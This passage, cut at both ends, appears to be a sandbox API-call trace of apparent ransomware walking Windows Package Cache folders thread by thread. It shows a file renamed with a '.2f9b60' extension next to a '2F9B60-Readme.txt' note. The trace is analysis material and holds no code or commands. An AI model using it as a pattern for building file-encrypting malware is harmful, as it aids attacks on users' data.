_Dest="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\") returned="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\" [0113.633] wcscat (in: _Dest=0x202795b0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\*") returned="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\*" [0113.633] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x20265b80 [0113.633] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\*", lpFindFileData=0x20265b80 | out: lpFindFileData=0x20265b80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabe4080, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xfabe4080, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xfabe4080, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9c790 [0113.633] wcscmp (_String1=".", _String2=".") returned 0 [0113.633] FindNextFileW (in: hFindFile=0x1cd9c790, lpFindFileData=0x20265b80 | out: lpFindFileData=0x20265b80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabe4080, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xfabe4080, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xfabe4080, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0113.633] wcscmp (_String1="..", _String2=".") returned 1 [0113.634] wcscmp (_String1="..", _String2="..") returned 0 [0113.634] FindNextFileW (in: hFindFile=0x1cd9c790, lpFindFileData=0x20265b80 | out: lpFindFileData=0x20265b80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabe4080, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xfabe4080, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xfabe4080, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1 [0113.634] wcscmp (_String1="packages", _String2=".") returned 1 [0113.634] wcscmp (_String1="packages", _String2="..") returned 1 [0113.634] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb8) returned 0x20279c70 [0113.634] wcscpy (in: _Dest=0x20279c70, _Source="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030") returned="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030" [0113.634] wcscat (in: _Dest=0x20279c70, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\") returned="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\" [0113.634] wcscat (in: _Dest=0x20279c70, _Source="packages" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages") returned="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages" [0127.209] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x20279c70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xeb0 [0127.210] FindNextFileW (in: hFindFile=0x1cd9c790, lpFindFileData=0x20265b80 | out: lpFindFileData=0x20265b80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabe4080, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xfabe4080, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xfabe4080, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0 [0127.210] FindClose (in: hFindFile=0x1cd9c790 | out: hFindFile=0x1cd9c790) returned 1 [0127.210] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20265b80) returned 1 [0127.210] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202795b0) returned 1 [0127.210] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd65fa0) returned 1 Thread: id = 1165 os_tid = 0xa28 [0113.636] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x94) returned 0x4205cb50 [0113.636] wcscpy (in: _Dest=0x4205cb50, _Source="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}") returned="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}" [0113.636] wcscat (in: _Dest=0x4205cb50, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\") returned="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\" [0113.636] wcscat (in: _Dest=0x4205cb50, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\*") returned="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\*" [0113.636] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x20265df0 [0113.637] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\*", lpFindFileData=0x20265df0 | out: lpFindFileData=0x20265df0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a0db1a0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xecd93dd0, ftLastAccessTime.dwHighDateTime=0x1d699a5, ftLastWriteTime.dwLowDateTime=0xecd93dd0, ftLastWriteTime.dwHighDateTime=0x1d699a5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9c8b0 [0113.637] wcscmp (_String1=".", _String2=".") returned 0 [0113.637] FindNextFileW (in: hFindFile=0x1cd9c8b0, lpFindFileData=0x20265df0 | out: lpFindFileData=0x20265df0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a0db1a0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xecd93dd0, ftLastAccessTime.dwHighDateTime=0x1d699a5, ftLastWriteTime.dwLowDateTime=0xecd93dd0, ftLastWriteTime.dwHighDateTime=0x1d699a5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0113.637] wcscmp (_String1="..", _String2=".") returned 1 [0113.637] wcscmp (_String1="..", _String2="..") returned 0 [0113.637] FindNextFileW (in: hFindFile=0x1cd9c8b0, lpFindFileData=0x20265df0 | out: lpFindFileData=0x20265df0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a127460, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x1a127460, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x1c821ca0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x39e, dwReserved0=0x0, dwReserved1=0x0, cFileName="1a2b7305e.2f9b60", cAlternateFileName="1A2B73~1.2F9")) returned 1 [0113.637] wcscmp (_String1="1a2b7305e.2f9b60", _String2=".") returned 1 [0113.637] wcscmp (_String1="1a2b7305e.2f9b60", _String2="..") returned 1 [0113.637] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb2) returned 0x20279bb0 [0113.638] wcscpy (in: _Dest=0x20279bb0, _Source="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}") returned="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}" [0113.638] wcscat (in: _Dest=0x20279bb0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\") returned="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\" [0113.638] wcscat (in: _Dest=0x20279bb0, _Source="1a2b7305e.2f9b60" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\1a2b7305e.2f9b60") returned="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\1a2b7305e.2f9b60" [0127.211] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x20279bb0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe0c [0127.212] FindNextFileW (in: hFindFile=0x1cd9c8b0, lpFindFileData=0x20265df0 | out: lpFindFileData=0x20265df0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecd93dd0, ftCreationTime.dwHighDateTime=0x1d699a5, ftLastAccessTime.dwLowDateTime=0xecd93dd0, ftLastAccessTime.dwHighDateTime=0x1d699a5, ftLastWriteTime.dwLowDateTime=0xece78610, ftLastWriteTime.dwHighDateTime=0x1d699a5, nFileSizeHigh=0x0, nFileSizeLow=0xba9, dwReserved0=0x0, dwReserved1=0x0, cFileName="2F9B60-Readme.txt", cAlternateFileName="2F9B60~1.TXT")) returned 1 [0127.212] wcscmp (_String1="2F9B60-Readme.txt", _String2=".") returned 1 [0127.212] wcscmp (_String1="2F9B60-Readme.txt", _String2="..") returned 1 [0127.212] FindNextFileW (in: hFindFile=0x1cd9c8b0, lpFindFileData=0x20265df0 | out: lpFindFileData=0x20265df0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a0db1a0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x1a0db1a0, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x1073de80, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x710a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcredist_x64.exe", cAlternateFileName="VCREDI~1.EXE")) returned 1 [0127.212] wcscmp (_String1="vcredist_x64.exe", _String2=".") returned 1 [0127.212] wcscmp (_String1="vcredist_x64.exe", _String2="..") returned 1 [0127.212] FindNextFileW (in: hFindFile=0x1cd9c8b0, lpFindFileData=0x20265df0 | out: lpFindFileData=0x20265df0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a0db1a0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x1a0db1a0, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x1073de80, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x710a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcredist_x64.exe", cAlternateFileName="VCREDI~1.EXE")) returned 0 [0127.212] FindClose (in: hFindFile=0x1cd9c8b0 | out: hFindFile=0x1cd9c8b0) returned 1 [0127.212] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20265df0) returned 1 [0127.212] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205cb50) returned 1 [0127.212] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2027b190) returned 1 Thread: id = 1166 os_tid = 0x618 [0113.639] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x20279f70 [0113.639] wcscpy (in: _Dest=0x20279f70, _Source="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017") returned="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017" [0113.639] wcscat (in: _Dest=0x20279f70, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\") returned="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\" [0113.640] wcscat (in: _Dest=0x20279f70, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\*") returned="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\*" [0113.640] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x20266060 [0113.640] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\*", lpFindFileData=0x20266060 | out: lpFindFileData=0x20266060*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf94d4300, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0xf94d4300, ftLastWriteTime.dwHighDateTime=0x1d2fc27, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9d0d0 [0113.640] wcscmp (_String1=".", _String2=".") returned 0 [0113.640] FindNextFileW (in: hFindFile=0x1cd9d0d0, lpFindFileData=0x20266060 | out: lpFindFileData=0x20266060*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf94d4300, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0xf94d4300, ftLastWriteTime.dwHighDateTime=0x1d2fc27, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0113.640] wcscmp (_String1="..", _String2=".") returned 1 [0113.640] wcscmp (_String1="..", _String2="..") returned 0 [0113.640] FindNextFileW (in: hFindFile=0x1cd9d0d0, lpFindFileData=0x20266060 | out: lpFindFileData=0x20266060*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf94d4300, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0xf94d4300, ftLastWriteTime.dwHighDateTime=0x1d2fc27, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1 [0113.641] wcscmp (_String1="packages", _String2=".") returned 1 [0113.641] wcscmp (_String1="packages", _String2="..") returned 1 [0113.641] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xba) returned 0x119720 [0113.641] wcscpy (in: _Dest=0x119720, _Source="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017") returned="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017" [0113.641] wcscat (in: _Dest=0x119720, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\") returned="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\" [0113.641] wcscat (in: _Dest=0x119720, _Source="packages" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages") returned="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages" [0127.213] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x119720, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xeac [0127.214] FindNextFileW (in: hFindFile=0x1cd9d0d0, lpFindFileData=0x20266060 | out: lpFindFileData=0x20266060*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf94d4300, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0xf94d4300, ftLastWriteTime.dwHighDateTime=0x1d2fc27, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0 [0127.215] FindClose (in: hFindFile=0x1cd9d0d0 | out: hFindFile=0x1cd9d0d0) returned 1 [0127.215] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266060) returned 1 [0127.215] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20279f70) returned 1 [0127.215] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b861490) returned 1 Thread: id = 1167 os_tid = 0x488 [0113.643] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x20279eb0 [0113.643] wcscpy (in: _Dest=0x20279eb0, _Source="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017") returned="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017" [0113.643] wcscat (in: _Dest=0x20279eb0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\") returned="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\" [0113.643] wcscat (in: _Dest=0x20279eb0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\*") returned="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\*" [0113.643] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x202662d0 [0113.643] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\*", lpFindFileData=0x202662d0 | out: lpFindFileData=0x202662d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf94d4300, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0xf94d4300, ftLastWriteTime.dwHighDateTime=0x1d2fc27, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9df70 [0113.643] wcscmp (_String1=".", _String2=".") returned 0 [0113.643] FindNextFileW (in: hFindFile=0x1cd9df70, lpFindFileData=0x202662d0 | out: lpFindFileData=0x202662d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf94d4300, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0xf94d4300, ftLastWriteTime.dwHighDateTime=0x1d2fc27, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0113.644] wcscmp (_String1="..", _String2=".") returned 1 [0113.644] wcscmp (_String1="..", _String2="..") returned 0 [0113.644] FindNextFileW (in: hFindFile=0x1cd9df70, lpFindFileData=0x202662d0 | out: lpFindFileData=0x202662d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf94d4300, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0xf94d4300, ftLastWriteTime.dwHighDateTime=0x1d2fc27, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1 [0113.644] wcscmp (_String1="packages", _String2=".") returned 1 [0113.644] wcscmp (_String1="packages", _String2="..") returned 1 [0113.644] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xba) returned 0x119650 [0113.644] wcscpy (in: _Dest=0x119650, _Source="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017") returned="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017" [0113.644] wcscat (in: _Dest=0x119650, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\") returned="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\" [0113.644] wcscat (in: _Dest=0x119650, _Source="packages" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages") returned="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages" [0127.216] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x119650, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1590 [0127.217] FindNextFileW (in: hFindFile=0x1cd9df70, lpFindFileData=0x202662d0 | out: lpFindFileData=0x202662d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf94d4300, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0xf94d4300, ftLastWriteTime.dwHighDateTime=0x1d2fc27, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0 [0127.217] FindClose (in: hFindFile=0x1cd9df70 | out: hFindFile=0x1cd9df70) returned 1 [0127.218] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202662d0) returned 1 [0127.218] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20279eb0) returned 1 [0127.218] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b861540) returned 1 Thread: id = 1168 os_tid = 0xaf0 [0113.646] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x20279730 [0113.647] wcscpy (in: _Dest=0x20279730, _Source="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017") returned="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017" [0113.647] wcscat (in: _Dest=0x20279730, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\") returned="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\" [0113.647] wcscat (in: _Dest=0x20279730, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\*") returned="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\*" [0113.647] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x20266540 [0113.647] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\*", lpFindFileData=0x20266540 | out: lpFindFileData=0x20266540*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa931c450, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa931c450, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa931c450, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9dc70 [0113.648] wcscmp (_String1=".", _String2=".") returned 0 [0113.648] FindNextFileW (in: hFindFile=0x1cd9dc70, lpFindFileData=0x20266540 | out: lpFindFileData=0x20266540*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa931c450, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa931c450, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa931c450, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0113.651] wcscmp (_String1="..", _String2=".") returned 1 [0113.651] wcscmp (_String1="..", _String2="..") returned 0 [0113.651] FindNextFileW (in: hFindFile=0x1cd9dc70, lpFindFileData=0x20266540 | out: lpFindFileData=0x20266540*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa931c450, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa931c450, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa931c450, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1 [0113.651] wcscmp (_String1="packages", _String2=".") returned 1 [0113.651] wcscmp (_String1="packages", _String2="..") returned 1 [0113.651] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xba) returned 0x119580 [0113.651] wcscpy (in: _Dest=0x119580, _Source="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017") returned="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017" [0113.651] wcscat (in: _Dest=0x119580, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\") returned="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\" [0113.651] wcscat (in: _Dest=0x119580, _Source="packages" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages") returned="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages" [0127.220] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x119580, dwCreationFlags=0x0, 